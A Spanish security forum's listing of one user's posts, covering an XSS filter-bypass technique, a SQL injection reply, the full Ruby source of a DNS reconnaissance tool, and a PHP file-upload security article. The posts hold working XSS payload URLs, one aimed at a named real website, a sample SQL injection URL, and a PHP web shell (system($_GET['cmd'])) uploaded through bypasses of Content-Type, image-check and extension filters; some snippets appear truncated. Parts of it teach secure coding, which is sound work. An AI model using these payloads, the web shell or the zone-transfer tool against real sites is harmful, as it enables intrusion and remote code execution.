|
Mostrar Mensajes
|
Páginas: 1 [2] 3
|
12
|
Seguridad Informática / Nivel Web / BACKBONE XSS, bypasseando el WAF [by SH4V]
|
en: 17 Mayo 2010, 15:12 pm
|
BACKBONE XSSBueno, le he puesto ese nombre a esta técnica porque me recuerda mucho (no sé por qué) al cable backbone que se utiliza para conectar redes internas a un mismo enroutador, de ahí su nombre. No sé si alguien antes se había percatado de esto, pero la red está plagada de cerebritos así que no me extrañaría nada. ¿En qué consiste este tipo de XSS? en realidad es un XSS normal y corriente con la diferencia de que utiliza más de una variable de entrada para inyectar código. Es decir, aprovecha varios campos en los que se inyecta el código html para abrir y cerrar etiquetas y así provocar el XSS. ¿Cuándo es útil? Cuando la página tiene algún tipo de de WAF o medida de protección que filtra determinados caracteres o cadenas de caracteres ya sea por expresiones regulares o no. Para que lo entendáis mejor utilizaré una web REAL que encontré una vez: http://paginaweb.com/search.php?palabra=<script>alert(0)</script>&language=ES El WAF detecta que has metido unos caracteres maliciosos y te salta una alerta del tipo: "Has ingresado caracteres prohibidos." Tras probar diversos string, veo que filtra lo toda cadena precedida de "<" seguida de ">" o cualquier catacter alfanumérico de 2 o más bytes de longitud, es decir: - <script> // Salta el WAF - <img //Salta el Waf - <sdfalsdfj> //Salta el WAF - <iframe src=//Salta el WAF - <a // NO salta el WAF. Veamos esta consulta: http://paginaweb.com/search.php?palabra='Hola">&language=ESSi miramos el código fuente de la página vemos lo siguiente: <form action="search.php" method="GET"> <input type="hydden" name="palabra" value="'Hola">"> <input type="hydden" name="language" value="ES"> </form>
Lo que vamos a hacer es aprovechar las variables de entrada "palabra" y "language" para inyectar el XSS: http://paginaweb.com/search.php?palabra="><a onmouseover=alert(0) href="&language=">PON EL MOUSE AQUÍ</a <form action="search.php" method="GET"> <input type="hydden" name="palabra" value=""><a onmouseover=alert(0) href=""> <input type="hydden" name="language" value="">PON EL MOUSE AQUÍ</a"> </form>
Y ya tenemos nuestro XSS! Ejemplo de página vulnerable: http://www.cope.es/buscador.php5?domains=cope.esa%22%3E%3Ca%20onmouseover=alert%28%27XSS-BY-SH4V%27%29%20href=%22&client=pub-0407161721220178&forid=1&ie=ISO-8859-1&oe=ISO-8859-1&safe=active&cof=GALT%3A%23008000%3BGL%3A1%3BDIV%3A%23336699%3BVLC%3A663399%3BAH%3Acenter%3BBGC%3AFFFFFF%3BLBGC%3A336699%3BALC%3A0000FF%3BLC%3A0000FF%3BT%3A000000%3BGFNT%3A0000FF%3BGIMP%3A0000FF%3BFORID%3A11&hl=es&q=%22%3EPON%20EL%20MOUSE%20AQUI!%3C/a&sa=&sitesearch=cope.esCódigo HTML: <form name="buscador" action="buscador.php5" method="get" target="_top"> <input type="hidden" name="domains" value="cope.esa"><a onmouseover=alert('XSS-BY-SH4V') href="" /> <input type="hidden" name="q" value="">PON EL MOUSE AQUI!</a" /> <input type="hidden" name="sa" value="" /> <input type="hidden" name="sitesearch" value="" /> <input type="hidden" name="client" value="pub-0407161721220178" /> <input type="hidden" name="forid" value="1" /> <input type="hidden" name="ie" value="ISO-8859-1" /> <input type="hidden" name="oe" value="ISO-8859-1" /> <input type="hidden" name="safe" value="active" /> <input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:11" /> <input type="hidden" name="hl" value="es" /> </form>
Creo que ha quedado más o menos claro. Si hay alguna duda decidlo. Espero comentarios! PS.- SI YA EXISTE NOMBRE PARA ESTA TÉCNICA DECIDLO.Saludos!
|
|
|
13
|
Seguridad Informática / Nivel Web / Re: Problema con SQLi
|
en: 16 Mayo 2010, 16:14 pm
|
Tienes un error de sintaxis porque la consulta está quedando así: SELECT * from noticias where id=666' Select * from productos.ref//en el caso de que la tabla se llame noticias. Para empezar poner la (') va a causar error de sintaxis. Luego cuando pones productos.ref estas indicando que quieres sacar información sobre la tabla "ref" almacenada en la base de datos "productos". Si es una inyección en MySQL con una versión 5 o superior, deberás primero determinar el numero de columnas con: index.php?opc=noticias_ver&id=666+group+by+x /donde x es el número de columnas que tendrá la tabla. una vez tengas el numero de columnas tienes que concatenar dos consultas select con la sentencia "union". Hay muchos manuales sobre Union SQL injection. Uno que lo explica muy bien es el de Ka0x: http://www.milw0rm.com/papers/216Saludos!
|
|
|
16
|
Programación / Scripting / Mantis 2.0
|
en: 25 Diciembre 2009, 18:39 pm
|
Os presento a Mantis, una herramienta diseñada para recopilar información sobre servidores DNS y nombres de dominio. Creo que no me equivoco al decir que compite por ser una de las mejores y más completas herramientas de toda la red en cuanto al protocolo DNS se refiere. Os dejo el código fuente. Para utilizarla necesitaréis: - Intérprete Ruby en su versión 1.8.6 mínimo. - Rubygems - Mechanize - Net-DNS en su versión 0.5.3 (La versión 0.6.0 tiene un bug y de momento está inoperativa hasta la versión 0.7.0 Podéis instalar el interprete Ruby y Rubygems desde los repositorios ó bien compilandolo desde el código fuente desde aquí: http://www.ruby-lang.org/en/downloads/http://docs.rubygems.org/read/chapter/3Mechanize y net-dns se instalan desde rubygems de la siguiente manera: gem install mechanize gem install net-dns -v 0.5.3 La versión 2.0. Incluye dos modalidades más de ataque. 1.- Ataque "--all": Realiza un barrido de querys a los servidores DNS. 2.- Ataque "--mantis": Realiza un barrido inverso con puntero inverso PTR y a las direcciones IP no resueltas, aplica un Reverse DNS para ver posibles Vhosts con ese nombre de dominio. Cómo no, Open Source =) #!/usr/bin/ruby # Programmed by Sh4V. N-D Security Team. # Visit http://n3t-datagrams.net && http://foro.undersecurity.net require 'socket' require 'ftools' require 'rubygems' require 'mechanize' require 'net/dns/rr' require 'net/dns/packet' require 'net/dns/resolver' mantis=" ::: ::: ::: :::: ::: ::::::::::: ::::::::::: :::::::: :+:+: :+:+: :+: :+: :+:+: :+: :+: :+: :+: :+: +:+ +:+:+ +:+ +:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +#+ +:+ +#+ +#++:++#++: +#+ +:+ +#+ +#+ +#+ +#++:++#++ +#+ +#+ +#+ +#+ +#+ +#+#+# +#+ +#+ +#+ #+# #+# #+# #+# #+# #+#+# #+# #+# #+# #+# ### ### ### ### ### #### ### ########### ######## :::::::: ::::::: :+: :+: :+: :+: +:+ +:+ +:+ +#+ +#+ +:+ +#+ +#+ +#+ #+# #+# #+# #+# ########## ### ####### ========================================================================== " version= "v2.0" puts "Mantis #{version} by Sh4V http://n3t-datagrams.net" sub=["foro","access", "accounting", "accounts", "active", "ad", "admin", "administracion", "administrador", "administrator", "administration", "advertising", "agent", "ap", "apple", "archives", "area", "as", "b2b", "b2c", "backup", "backups", "bart", "beta", "bigip", "billing", "blackboard", "blog", "blogs", "book", "books", "c2b", "c2c", "ca", "carro", "cart", "catalog", "catalogue", "channel", "channels", "chat", "chimera", "cisco", "citrix", "classroom", "conect", "connect", "controller", "conferece", "core", "corporate", "cpanel", "csg", "customers", "database", "db", "dbs", "demo", "demostration", "design", "desk", "desktop", "dev", "devel", "developers", "development", "directory", "dmz", "dns", "dns1", "dns2", "dns3", "domain", "domain1", "domain2", "domain3", "domaincontroller", "download", "downloads", "ds", "eaccess", "e", "eng", "es", "events", "example", "examples", "exchange", "exec", "extranet", "feed", "feeds", "file", "files", "fileserver", "finance", "firewall", "forum", "foro","forums", "fs", "ftp", "ftpd", "fw", "gallery", "game", "games", "gateway", "groups", "guide", "gw", "help", "helpdesk", "home", "hotspot", "hp-ux", "hpux", "ids", "im", "images", "imail", "imap", "imap1", "imap2", "imap3", "imgs", "internal", "intranet", "ipsec", "irc", "irc1", "irc2", "irc3", "irix", "itil", "lab", "laboratories", "labs", "lan", "ldap", "library", "linux", "localhost", "login", "logs", "lotus", "mail", "mail1", "mail2", "mail3", "mailgate", "main", "man", "manager", "maps", "marketing", "member", "members", "mercury", "messenger", "meeting", "mmc", "mngt", "mobil", "mobile", "mom", "money", "monitor", "monitoring", "moodle","mrtg", "mssql", "mx", "mx1", "mx2", "mx3", "mysql", "mysql1", "mysql2", "mysql3", "nameserver", "neon", "netmail", "netmeeting", "netscaler", "netscreen", "netstats", "network", "news", "news", "newsfeed", "newsfeeds", "newsgroups", "newton", "noc", "notes", "novell", "ns", "null", "online", "open", "openbsd", "openview", "operations", "oracle", "outlook", "owa", "pan", "partner", "partners", "pc", "pcanywhere", "pegasus", "peoplesoft", "personal", "photo", "photos", "podcast", "podcasts", "pop", "portal", "postgres", "ppp", "printer", "priv", "priv8", "private", "proxy", "prtg", "public", "radius", "ras", "relay", "remote", "reports", "research", "restricted", "router", "rss", "sales", "sample", "samples", "sandbox", "search", "secure", "security", "sendmail", "server", "server1", "server2", "server3", "services", "share", "sharepoint", "shop", "shopping", "sms", "smtp", "smtp1", "smtp2", "smtp3", "solaris", "sql", "squirrel", "squirrelmail", "ssh", "staff", "stage", "staging", "stats", "storage", "sun", "support", "sus", "test", "tftp", "tmp", "transfer", "ts", "uddi", "unix", "upload", "uploads", "vid", "video", "videos", "virtual", "vista", "vnc", "vpn", "wan", "wap", "web", "webadmin", "webct", "webcast", "webcasts", "webmail", "webmaster", "wiki","windows", "wingate", "wlan", "wsus", "ww", "www", "www1", "www2", "www3", "xml"] def resolv(domain, query,all) res=Net::DNS::Resolver.new res.tcp_timeout=10 begin que=res.query(domain, query) rescue Net::DNS::RR::ArgumentError puts "The argument #{query} is wrong." rescue puts "An error ocurred while the #{query} query was sent." else if all==0 puts "Answer section:" puts que.answer print "\n" puts"Additional section:" puts que.additional elsif all==1 puts "Answer section:" puts que.answer print "\n" else puts "aaa" end end end def axfr(domain) puts "Collecting information from DNS servers in domain: #{domain} " ns=Net::DNS::Resolver.new begin que=ns.query(domain, Net::DNS::NS) rescue puts "An error ocurred while the NS query was sent." else ip=que.answer.to_a iparr=[] nsarr=[] ip.each do |ipx| ipx=ipx.to_s ipx << "*" ipx=ipx.split('NS ') ipx.shift ipx.each do |x| x=x.gsub('*', '') nsarr<<x end end nsarr.each do |x| iparr << Socket.getaddrinfo(x, 80)[0][3] end puts "DNS server(s) IP's:" iparr.each do |x| puts "[-] #{x}" end print "\n" iparr.each do |ip| puts "[+]Trying AXFR attack with DNS server: #{ip}" ns.nameservers=ip ns.tcp_timeout=10 begin axfr=ns.send(domain, Net::DNS::AXFR) rescue puts "An error ocurred while the AXFR attack was sent." else if axfr.answer.length != 0 print "\n" puts axfr.answer print "\n" else puts "Zone transfer failed." print "\n" end end end end end def ixfr(domain) puts "Collecting information from DNS servers in domain: #{domain} " res=Net::DNS::Resolver.new begin soa=res.query(domain, Net::DNS::SOA) rescue puts "An error ocurred while the SOA query was sent." else dat=soa.answer.to_s.split('. ') fields=dat[3].split(' ') fields[0,0]=dat[1].split('SOA ')[1] fields[1,0]=dat[2] begin ns=res.query(domain, Net::DNS::NS) rescue puts "An error ocurred while the NS query was sent." else ip=ns.answer.to_a nsarr=[] iparr=[] ip.each do |ipx| ipx=ipx.to_s ipx << "*" ipx=ipx.split('NS ') ipx.shift ipx.each do |x| x=x.gsub('*', '') nsarr<<x end end nsarr.each do |x| iparr << Socket.getaddrinfo(x, 80)[0][3] end puts "DNS server(s) IP's:" iparr.each do |x| puts "[-] #{x}" end print "\n" rrauth = Net::DNS::RR.new( :name => domain, :ttl =>86400, :mname => fields[0], :rname => fields[1], :serial => fields[2].to_i, :refresh => fields[3].to_i, :retry =>fields[4].to_i, :expire => fields[5].to_i, :minimum =>fields[6].to_i, :cls => "IN", :type => "SOA" ) rrques = Net::DNS::Question.new(domain, Net::DNS::IXFR) packet=Net::DNS::Packet.new(domain) packet.authority= rrauth packet.question=rrques resixfr=Net::DNS::Resolver.new iparr.each do |ip| puts "[+]Trying IXFR attack with DNS server: #{ip}" resixfr.nameservers=ip resixfr.tcp_timeout=10 begin ixfr=resixfr.send(packet) rescue puts "An error ocurred while the IXFR attack was sent." else header=ixfr.authority if ixfr.answer.length != 0 print "\n" puts ixfr.answer print "\n" else puts "Incremental zone transfer failed." print "\n" end end end end end end def ptr(ipi, ipf) control='' ipi.each do |x| if x.to_i>=255 control << "+" end end ipf.each do |x| if x.to_i>=255 control << "+" end end if ipi[0]==ipf[0] && ipi[1]==ipf[1] && ipi[2]==ipf[2] && ipi[3]<=ipf[3]&& control.length == 0 res=Net::DNS::Resolver.new ipi[3]=ipi[3].to_i ipf[3]=ipf[3].to_i if ipi[3]==0 && ipf[3]==0 ipi[3]=1 ipf[3]=254 elsif ipi[3]==0 ipi[3]=1 end ipfalse=[] while ipi[3]<ipf[3]+1 ip="#{ipi[0]}.#{ipi[1]}.#{ipi[2]}.#{ipi[3]}" arpaip="#{ipi[3]}.#{ipi[2]}.#{ipi[1]}.#{ipi[0]}.in-addr.arpa" begin que=res.query(arpaip, Net::DNS::PTR) rescue puts "An error ocurred while the PTR query was sent." else if name=que.answer.to_s.split('PTR ')[1] else name=que.answer.to_s.split('CNAME ')[1] end if que.answer.to_s!='' puts "#{ip} => #{name}" else puts "#{ip} => Not resolved." ipfalse << ip end ipi[3]+=1 end end else puts "Invalid IP address structure or interval. Example:" puts "#{$0} -4 192.168.1.1 192.168.1.254" end return ipfalse end def reverse(ip) if ip.split('.')[0].to_i == 0 || ip.split('.')[1].to_i == 0 || ip.split('.')[2].to_i == 0 || ip.split('.')[3].to_i == 0 || ip.split('.').length != 4 begin ip= Socket.getaddrinfo(ip, 800)[0][3] rescue puts "Incorrect IP Address or Domain Name." end end puts ip id=0 control=Array.new dom=Array.new domains=Array.new until id==10000 agent=WWW::Mechanize.new url=agent.get("http://api.search.live.net/json.aspx?AppId=7066FAEB6435DB963AE3CD4AC79CBED8B962779C&Query=IP:#{ip}&Sources=web&Web.Offset=#{id}") res=url.body.split('"DisplayUrl":"') control=dom dom=Array.new res.each do |x| dom<<x.split('",')[0].gsub("\\", '').split('/')[0].gsub("www.", '') end dom.shift domains << dom if control[0]==dom[0] id=9990 end id+=10 end domains=domains.flatten.uniq puts domains end def trysubsock(domain) sub='as234kj43fh2a34ieasf2234sadf3'.split('').sort_by{rand}.join begin sock=TCPSocket.new("#{sub}.#{domain}", 80) rescue puts "Incorrect IP Address or Domain Name." else sock.print("GET / HTTP/1.1\r\nHost:#{domain}\r\n\r\n") rec=sock.recv(20) sock.close if rec.include?('200') return false else return true end end end def trysubdns(domain) sub='as234kj43fh2a34ieasf2234sadf3'.split('').sort_by{rand}.join res=Net::DNS::Resolver.new begin rcode=res.query("#{sub}.#{domain}", Net::DNS::CNAME).header.rCode_str[0] if rcode== "NXDomain" return true else return false end rescue puts "Incorrect IP Address or Domain Name." end end def sockcrawl(sub, domain) begin sock=TCPSocket.new("#{sub}.#{domain}", 80) rescue puts "Incorrect IP Address or Domain Name." else sock.print("GET / HTTP/1.1\r\nHost:#{domain}\r\n\r\n") rec=sock.recv(20) sock.close if rec.include?('200') puts "[-] #{sub}.#{domain}" return '+' else return '-' end end end def dnscrawl(sub, domain) res=Net::DNS::Resolver.new begin rcode=res.query("#{sub}.#{domain}", Net::DNS::CNAME).header.rCode_str[0] rescue puts "Incorrect IP Address or Domain Name." else if rcode!= "NXDomain" puts "[-] #{sub}.#{domain}" return '+' else return '-' end end end def crawl(domain, sub) if ARGV[2] && File.exist?(ARGV[2]) == true && ARGV[2] != "-o" dic=File.open(ARGV[2], 'r') sub=dic.read.split("\n") elsif ARGV[2] && ARGV[2]!= "-o" puts "No such file or directory." end #arr=Array.new #while i < sub.length # x = ["#{sub[i]}","#{sub[i]}0","#{sub[i]}1","#{sub[i]}2","#{sub[i]}3"] # arr[i,1] = x # i+=1 #end #sub=arr control=0 succ='' print "Crawling subdomains names. This will take some minutes. Be patient.\n\n" if trysubdns(domain) == true control=1 sub.each do |sub| succ << dnscrawl(sub, domain) end puts end if trysubsock(domain) == true and control==0 sub.each do |sub| succ << sockcrawl(sub, domain) end end if trysubdns(domain) || trysubsock(domain) succ=succ.gsub('-', '').length print "\n-----------------------------------------------------------\n" puts "SUBDOMAINS SUCCESSES IN #{domain}: #{succ}" puts "-----------------------------------------------------------" else puts "The #{domain} server is protected against subdomains crawling." end end # The magic of Ruby has begun ^^ case ARGV[0] when "-0" query = ARGV[1].upcase domain= ARGV[2] resolv(domain, query, 0) when "-1" domain = ARGV[1] axfr(domain) when "-2" domain = ARGV[1] ixfr(domain) when "-3" domain=ARGV[1] crawl(domain, sub) when "-4" ipi=ARGV[1].split('.') if !ARGV[2] ipf=ARGV[1].split('.') else ipf=ARGV[2].split('.') end ptr(ipi, ipf) when "-5" ip=ARGV[1] reverse(ip) when "--all" domain=ARGV[1] que0={ "NS" => 2, "MX" => 15 } que1={ "SIGZERO" => 0, "A" => 1, "CNAME" => 5, "SOA" => 6, "WKS" => 10, "HINFO" => 13, "MINFO" => 14, "TXT" => 16, "GPOS" => 27 , "LOC" => 29, "SRV" => 33 } puts mantis que0.each_pair do |key, value| puts "Resolving #{key} query:" resolv(domain, value,0) puts "-----------------------------------------------------------------------" end que1.each_pair do |key, value| puts "Resolving #{key} query:" resolv(domain, value,1) puts "-----------------------------------------------------------------------" end axfr(domain) ixfr(domain) crawl(domain, sub) when "--mantis" puts mantis domain = ARGV[1] ipi=ARGV[1].split('.') if !ARGV[2] ipf=ARGV[1].split('.') else ipf=ARGV[2].split('.') end ips=ptr(ipi, ipf) print "\n" puts "Glup! Reversing has start with:" ips.each do |ip| print "[+] " reverse(ip) end when "-h" puts "Mantis is a tool to collect information about DNS servers of a domain name. [-0] Makes a DNS query simple query. #{$0} -0 mx domain.net [-1] Starts a zone transfer(s) (axfr) to all DNS servers associated with the domain name. #{$0} -1 domain.net [-2] Starts an incremental zone transfer(s) (ixfr) to all DNS servers associated with the domain name. #{$0} -2 domain.net [-3] Makes a crawl of subdomains in the domain name given. It includes a dictionary but you can also use your own. #{$0} -3 domain.net #{$0} -3 domain.net dic.txt [-4] Makes a reverse domain scan with an IP address interval given. #{$0} -4 192.168.1.0 #{$0} -4 192.168.1.231 #{$0} -4 192.168.1.1 192.168.1.164 [-5] Resolves domains name in the same server (Vhosts). #{$0} -5 domain.net #{$0} -5 192.168.114 [--all] Make a torbelline of querys. #{$o} --all domain.net [--mantis] Make a Mantis Attack. #{$0} --mantis 192.168.1.0 #{$0} --mantis 192.168.1.231 #{$0} --mantis 192.168.1.1 192.168.1.164 Enjoy =)" else puts "Type #{$0} for help" end
http://n3t-datagrams.net/lab/mantis2.rb.txtEspero gente que la pruebe con sus correspondientes críticas positivas. gracias ^^
|
|
|
17
|
Seguridad Informática / Nivel Web / Re: PHP upload security
|
en: 12 Diciembre 2009, 13:53 pm
|
Actualizado! Muy bueno sh4van3. ¿Sabes si los framework de ASP.NET te implementan directamente este tipo de protecciones? Cuando tenga tiempo me pondré a jugar con ASP.NET y ya que te veo puesto en uploads pues te pregunto Pues no lo sé wisehacks¡ para serte sincero, a día de hoy no tengo ni idea de ASP-net. Lo siento! Sé en frameworks como RoR (ahí sí que me manejo algo más) sí que te brindan este tipo de protecciones aunque siempre quedan agujeros de seguridad. Saludos!
|
|
|
18
|
Seguridad Informática / Nivel Web / Re: PHP upload security
|
en: 12 Diciembre 2009, 13:02 pm
|
WoW! gracias WHK¡
Ahora mismo edito el post. Sobre el unlink()del archivo después de terminarse el request tienes toda la razón, es absurdo ya que PHP lo elimina del directorio temporal y de la tabla de hashes.
Te añado a los greetz por tus aportes =)
|
|
|
19
|
Seguridad Informática / Nivel Web / PHP upload security
|
en: 11 Diciembre 2009, 11:30 am
|
En este artículo vamos a ver como programar aplicaciones seguras en PHP para la subida de archivos. Este paper está basado en el publicado por Alla Bezroutchko de "SCANIT the Security Company" en el año 2007. Como siempre, trataré de adaptarlo para que los más neófitos en la programación en PHP lo entiendan sin problemas. No obstante, cualquier problema podéis postearlo y será atendido. La subida de archivos en la web es algo que está a la orden del día, no sólo en aplicaciones webmail para adjuntar archivos, sino también en servidores de alojamiento de imágenes, documentos de texto, pdf's, videos, etc. Para que una aplicación PHP sea segura, tenemos que atender siempre a las variables de entrada (y en ocasiones, también a las de salida!). A lo largo del paper iremos viendo diferentes aplicaciones PHP con filtros para evitar el upload de archivos dañinos y sus correspondientes bypasses. Finalmente se mostrará una forma segura de programar una aplicación no vulnerable al upload de archivos así como distintas medidas de seguridad alternativas. Si a tí, estimado lector, se te ocurre alguna forma mejor ó consideras que las expuestas aquí no son lo suficiente seguras, me encantaría que compartieras con todos nosotros tu forma de securizar las aplicaciones. 0.- Breves consideraciones:Cuando utilizamos una aplicación PHP para subir un archivo, se crea un array superglobal que se almacena en la variable global _FILES. Antíguamente se utilizaba HTTP_POST_VARS, que aunque sigue estando disponible, ha ha caído para muchos programadores en el desuso en pro de la anterior. El array que se crea es similar a este: Array ( [attachment] => Array ( [name] => imagen.jpeg //Nombre del archivo [type] => image/jpeg //Tipo de archivo [tmp_name] => /tmp //Directorio temporal en el que se almacenará el archivo [error] => 0 //tipo de error [size] => 1234 //tamaño del archivo ) ) Y es que cuando subimos un archivo a un servidor, primero se almacena en un directorio temporal y posteriormente la aplicación lo mueve al directorio que había previsto el programador para ser almacenado. De todos estos valores, tenemos que tener cuidado con name y type porque son los únicos que tienen como origen el propio usuario ya que los demás son asignados por el servidor. Estos valores son por tanto variables de entrada que deben ser atendidas con especial atención si no queremos que nos cuelen una shell.php. 1.- Aplicación básica:Vamos a ver una aplicación muy elemental que carece de medidas de seguridad. A partir de ahora, todas estas pruebas las puedes hacer tú en tu servidor local. Tan sólo crea una carpeta llamada "images" en el directorio raíz del servidor y asignale permisos necesarios para el usuario Nobody, que es el ocupado por Apache. Veréis que utilizo la función is_uploaded_file() para verificar si el archivo ha sido subido. La explicación es que es necesario saber si se ha subido el archivo antes de moverlo a su directorio final porque si no se verifica y el archivo ha sido subido, podría engañarse a la aplicación spoofeando el formulario y cambiando el name='button' por name='foo' por ejemplo. Esto no movería el archivo de su directorio temporal a su directorio final, lo que nos podría permitir (dependiendo de la configuración del httpd.conf) acceder al directorio temporal. Nuestro servidor estará seguro si para los parámetros <directory /> tenemos Options FollowSymLinks y AllowOverride None. Importante no tener la opción Indexes habilitada para evitar que se expongan directorios que puedan resultar sensibles por unas razones u otras. <Directory /> Options FollowSymLinks AllowOverride None </Directory> Para probar, sólo tenéis que guardar el código que tenemos a continuación como upload.php y subirlo al directorio raíz de vuestro servidor. <html> <head> <meta http-equiv='Content-type' Content='charset UTF-8'> <title>Aplicación básica</title> <body> <center> <h2>Uploader de imágenes</h2> <FORM method="POST" ENCTYPE="multipart/form-data" action='upload.php'> <INPUT type='file' name='archivo'> <INPUT type='submit' name='button' value='Enviar'> </FORM> <?php $dir= 'images/'; $file= $dir.basename($_FILES['archivo']['name']); } ?> </body> </html>
Veamos la comunicación que ha tenido lugar entre nuestro navegador y el servidor: Host: localhost User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.5) Gecko/20091105 Fedora/3.5.5-1.fc11 Firefox/3.5.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://localhost/upload.php Content-Type: multipart/form-data; boundary=---------------------------1022791273854029891036475525 Content-Length: 381
-----------------------------1022791273854029891036475525\r\n Content-Disposition: form-data; name="archivo"; filename="shell.php"\r\n Content-Type: application/octet-stream\r\n \r\n <?php\n system($_GET['cmd']);\n ?>\n \r\n -----------------------------1022791273854029891036475525\r\n Content-Disposition: form-data; name="button"\r\n \r\n Enviar\r\n -----------------------------1022791273854029891036475525--\r\n Bypassing básico:¿Bypassing? No hay nada qué bypassear. Sólo sube tu shell.php y listo. 2.- Verificación por Content-Type:El protocolo HTTP, como muchos otros protocolos de red, utiliza una serie de variables en sus cabeceras a las que asigna un valor. Content-Type es una de ellas e indica el tipo de contenido del recurso. Una medida de seguridad podría ser verificar el Content-Type de la cabecera del paquete para cerciorarnos de que efectivamente se está tratando de subir una imagen. Supongamos una aplicación uploadct.php que sólo permita subir imágenes con extensión *.gif y *.jpeg: <html> <head> <meta http-equiv='Content-type' Content='charset UTF-8'> <title>Aplicación por Content-Type</title> <body> <center> <h2>Uploader de imágenes</h2> <FORM method="POST" ENCTYPE="multipart/form-data" action='uploadct.php'> <INPUT type='file' name='archivo'> <INPUT type='submit' name='button' value='Enviar'> </FORM> <?php $dir= 'images/'; if ($_FILES['archivo']['type'] != "image/gif" && $_FILES['archivo']['type'] != "image/jpeg"){ echo "<script>alert('Archivo no permitido!')</script>"; }else{ $file= $dir.basename($_FILES['archivo']['name']); } } ?> </body> </html>
Bypassing Content-Type:El bypassing de este mecanismo de seguridad es muy sencillo. Basta con coger nuestra shell.php y renombrarla a shell.jpg. De esta forma el servidor verá que _FILES['archivo']['type']=='image/jpeg' por lo que dejará subir la aplicación. Pero ¿qué hacemos con esto? ¿de qué nos sirve subir una shell con extensión de imagen?. Ahí está la gracia del bypass. Este es uno de los ataques más comunes a formularios de subida de imágenes ó al menos, es del que he visto más videotutos por la red. La ídea es modificar la cabecera del paquete, dejando tal cual el Content-Type pero modificando la extensión del archivo que estamos subiendo. Podéis ver un ejemplo de cómo hacerlo con Live-HTTP-Headers: De tal manera, la extensión de nuestro archivo es .php, por lo que nuestro script podrá ser ejecutado sin ayuda de ningún LFI. Esto lo habremos conseguido como ya he dicho, bypasseando el filtro _FILES['archivo']['type'] vía modificación del apartado (Content-Type) de la cabecera del paquete HTTP. 2.- Verificación por getimagesize() ó exif_imagetype():PHP incluye una función llamada getimagesize() que nos revela datos informativos sobre un archivo de imagen. Por el contrario de lo que pueda parecer a simple vista, no sólo nos revela el tamaño de la imagen, también nos revela infomación sobre el tipo de imagen vía parámetro: imageinfo. Al utilizar esta función, se genera el siguiente array: Array[0] = Width Array[1] = Height Array[2] = Image Type Flag Array[3] = width="xxx" height="xxx" Array['bits'] = bits Array['channels'] = channels Array['mime'] = mime-type De aquí nos interesa ['mime'], que nos dirá el tipo de imagen que es. ¿Qué ocurre si intentamos subir una shell.jpg? Sencíllamente, verificando con getimagesize() el índice del array 'mime' no nos dejará subir ningún archivo que no tenga la estructura propia de una imagen. Un ejemplo de uploading sería el siguiente: <html> <head> <meta http-equiv='Content-type' Content='charset UTF-8'> <title>Aplicación getimagesize</title> <body> <center> <h2>Uploader de imágenes</h2> <FORM method="POST" ENCTYPE="multipart/form-data" action='uploadgis.php'> <INPUT type='file' name='archivo'> <INPUT type='submit' name='button' value='Enviar'> </FORM> <?php $dir= 'images/'; if ($imaginf['mime'] != "image/gif" && $imaginf['mime'] != "image/jpeg"){ echo "<script>alert('Archivo no permitido!')</script>"; }else{ $file= $dir.basename($_FILES['archivo']['name']); } } ?> </body> </html>
Otra función que PHP incorpora es exif_imagetype(). Al pasarle un input, genera una constante que puede ser del siguiente tipo: 1 IMAGETYPE_GIF 2 IMAGETYPE_JPEG 3 IMAGETYPE_PNG 4 IMAGETYPE_SWF 5 IMAGETYPE_PSD 6 IMAGETYPE_BMP 7 IMAGETYPE_TIFF_II (intel byte order) 8 IMAGETYPE_TIFF_MM (motorola byte order) 9 IMAGETYPE_JPC 10 IMAGETYPE_JP2 11 IMAGETYPE_JPX 12 IMAGETYPE_JB2 13 IMAGETYPE_SWC 14 IMAGETYPE_IFF 15 IMAGETYPE_WBMP 16 IMAGETYPE_XBM Comparando el resultado con la constante, es muy fácil saber si el archivo que se está subiendo es una imagen o por el contrario no: <html> <head> <meta http-equiv='Content-type' Content='charset UTF-8'> <title>Aplicación getimagesize</title> <body> <center> <h2>Uploader de imágenes</h2> <FORM method="POST" ENCTYPE="multipart/form-data" action='uploadeit.php'> <INPUT type='file' name='archivo'> <INPUT type='submit' name='button' value='Enviar'> </FORM> <?php $dir= 'images/'; echo "<script>alert('Archivo no permitido!')</script>"; }else{ $file= $dir.basename($_FILES['archivo']['name']); } } ?> </body> </html>
Para hacer las pruebas en vuestro entorno local, tan sólo tenéis que renombrar los ejemplos como uploadgis.php y uploadeit.php respectivamente. Bypassing getimagesize() y exif_imagetype():Por el contrario de lo que pueda parecer, cualquiera de estas aplicaciones son fáciles de bypassear. Hace tiempo, Codebreak mostró una forma de infectar mediante LFI y la inserción de código PHP en los comentarios de las imágenes. De esta forma, con un simple LFI y un upload de imágenes en el servidor se podía ejecutar código PHP. Esto es perfectamente aplicable a este caso. La aplicación verificará que efectivamente se trata de una imagen pero al tener extension PHP, el servidor interpretará el código del comentario de la imagen y tomará la demás parte del archivo como basura, por lo que no lo tendrá en cuenta. Insertar comentarios en imágenes se puede hacer de muchas maneras, por comando type de windows, con un editor de imágenes como GIMP, etc. Veremos como hacerlo desde GIMP: Abrimos la imagen, vamos a Imagen-->Propiedades de la imagen y en el apartado comentario insertamos el código PHP: En el ejemplo del GIMP he utilizado una imagen pelota.jpeg. Para que se ejecute habrá que renombrarla a pelota.jpeg después de haber insertado el comentario. Una vez subida, podremos hacer cosas como esta: Verificación por extensión:La verificación por extension no es otra cosa que una verificación de tipo de archivo por extension del nombre del mismo. Existen diversas formas de verificar por archivo. Hace tiempo ya creó OzX un post en Undersecurity.net en el que varios usuarios fuimos poniendo nuestra propia forma de reconocer un archivo. Pongo a continuación los ejemplos y el autor: Ozx: <?php $testcase = array("sample.txt", "sample.jpg", "sample.case.txt"); function extension($filename){ } foreach($testcase as $test) { echo "Extension from $test is " . extension($test) . "\n"; } ?>
SH4V: <?php $archivo=array("archivo.txt","archivo.jpeg","archivo.rb.txt", "archivo.html","archivo.php.txt"); foreach ($archivo as $name){ echo "Extensión para $name: $ext[$num]<br>"; } ?>
